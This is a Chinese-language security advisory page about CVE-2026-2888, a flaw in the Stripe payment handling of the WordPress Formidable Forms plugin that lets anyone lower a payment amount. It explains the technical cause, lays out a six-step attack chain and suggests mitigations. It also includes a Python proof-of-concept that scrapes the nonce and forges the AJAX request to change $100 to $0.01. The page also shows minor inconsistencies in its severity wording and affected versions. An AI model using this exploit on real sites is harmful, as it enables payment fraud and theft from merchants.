IPBUF安全漏洞报告
English
CVE-2026-2888 CVSS 5.3 中危

CVE-2026-2888 WordPress Formidable Forms插件授权绕过漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-2888
漏洞类型
授权绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Formidable Forms plugin for WordPress

相关标签

授权绕过支付欺诈WordPress插件CVE-2026-2888Formidable FormsAJAX漏洞Stripe集成短代码注入CSRF绕过

漏洞概述

CVE-2026-2888是WordPress Formidable Forms插件中的一个严重授权绕过漏洞。该漏洞存在于插件的Stripe支付集成功能中,攻击者可以通过操纵AJAX请求中的支付金额,在未经授权的情况下修改PaymentIntent的金额。具体来说,插件的`frm_strp_amount` AJAX处理器(`update_intent_ajax`)会使用攻击者控制的JSON输入覆盖全局`$_POST`数据,然后通过字段短代码解析重新计算支付金额。攻击者利用公开暴露在页面JavaScript中的nonce值(`frm_stripe_vars.nonce`)绕过CSRF保护,但由于nonce本身不提供授权验证,攻击者可以冒充任意用户修改支付金额。这使得攻击者能够以大幅降低的价格购买商品或服务,造成经济损失。该漏洞影响所有版本至6.28版本,由于CVSS评分为5.3(中等严重性),且攻击复杂度低,无需认证和用户交互,因此实际威胁程度较高。

技术细节

漏洞根源在于Formidable Forms插件的Stripe支付处理流程中存在授权验证缺陷。在`FrmStrpLiteHooksController.php`的第88行附近,`update_intent_ajax`函数接收攻击者控制的JSON数据并直接覆盖PHP的全局`$_POST`数组。随后,这些被篡改的数据被传递给`generate_false_entry()`函数,该函数通过解析字段短代码(shortcodes)来重新计算支付金额。关键问题在于:1) nonce验证仅用于CSRF防护,不验证用户权限;2) nonce值(`frm_stripe_vars.nonce`)直接暴露在前端JavaScript中,任何人都可以获取;3) 支付金额计算逻辑依赖客户端可控的输入而缺乏服务端验证。攻击者可以通过构造恶意AJAX请求,将支付金额修改为任意值(如0.01),从而以极低价格完成交易。此漏洞特别影响使用动态定价和字段短代码的表单,如自定义价格计算器、数量乘以单价的商品表单等场景。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者访问使用Formidable Forms插件且配置了Stripe支付的WordPress站点,识别包含动态定价和字段短代码的表单
STEP 2
步骤2: Nonce提取
从页面源代码或JavaScript中提取公开暴露的nonce值(frm_stripe_vars.nonce),该nonce提供CSRF保护但不包含授权验证
STEP 3
步骤3: 构造恶意请求
攻击者构造frm_strp_amount AJAX请求,将payment_amount和fields参数设置为极低的金额值(如0.01),同时包含提取的nonce
STEP 4
步骤4: 覆盖POST数据
服务器端的update_intent_ajax处理器使用攻击者控制的JSON输入覆盖全局$_POST数据,绕过正常的数据验证流程
STEP 5
步骤5: 金额重计算
generate_false_entry()函数处理被篡改的数据,通过字段短代码解析将支付金额计算为攻击者指定的值
STEP 6
步骤6: 完成欺诈交易
PaymentIntent以 manipulated_amount创建并处理,攻击者以极低价格完成支付,获得商品或服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import requests # CVE-2026-2888 PoC - Formidable Forms Payment Manipulation # This PoC demonstrates how an unauthenticated attacker can manipulate payment amounts TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" def get_nonce(site_url): """Extract the publicly exposed nonce from page JavaScript""" response = requests.get(site_url) # Extract frm_stripe_vars.nonce from page source import re match = re.search(r'frm_stripe_vars\s*=\s*\{[^}]*nonce:\s*"([a-zA-Z0-9]+)"', response.text) if match: return match.group(1) return None def exploit_payment_manipulation(site_url, form_id, original_amount, manipulated_amount): """ Exploit the authorization bypass to manipulate PaymentIntent amount """ nonce = get_nonce(site_url) if not nonce: print("[-] Failed to extract nonce") return False print(f"[+] Extracted nonce: {nonce}") # Construct malicious payload with manipulated amount payload = { "action": "frm_strp_amount", "nonce": nonce, "form_id": form_id, "payment_amount": manipulated_amount, # Attacker's chosen amount "entry_id": 0, # New entry "fields": json.dumps({ "field_123": manipulated_amount # Manipulated field value }) } try: response = requests.post( TARGET_URL, data=payload, headers={ "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } ) result = response.json() if result.get("success"): print(f"[+] Successfully manipulated payment from ${original_amount} to ${manipulated_amount}") print(f"[+] Response: {json.dumps(result, indent=2)}") return True else: print(f"[-] Exploitation failed: {result}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": site = "https://target-formidable-site.com" # Example: Change $100 to $0.01 exploit_payment_manipulation(site, form_id=5, original_amount=100, manipulated_amount=0.01)

影响范围

Formidable Forms plugin < 6.28

防御指南

临时缓解措施
立即将Formidable Forms插件升级到最新版本(6.28及以上)。如果无法立即升级,可以暂时禁用Stripe支付集成或使用其他支付插件作为替代方案。同时,建议审查所有使用动态定价的表单,确保支付金额计算逻辑在服务器端完成且不可被客户端篡改。可以考虑添加Web应用防火墙(WAF)规则来阻止异常的支付金额请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表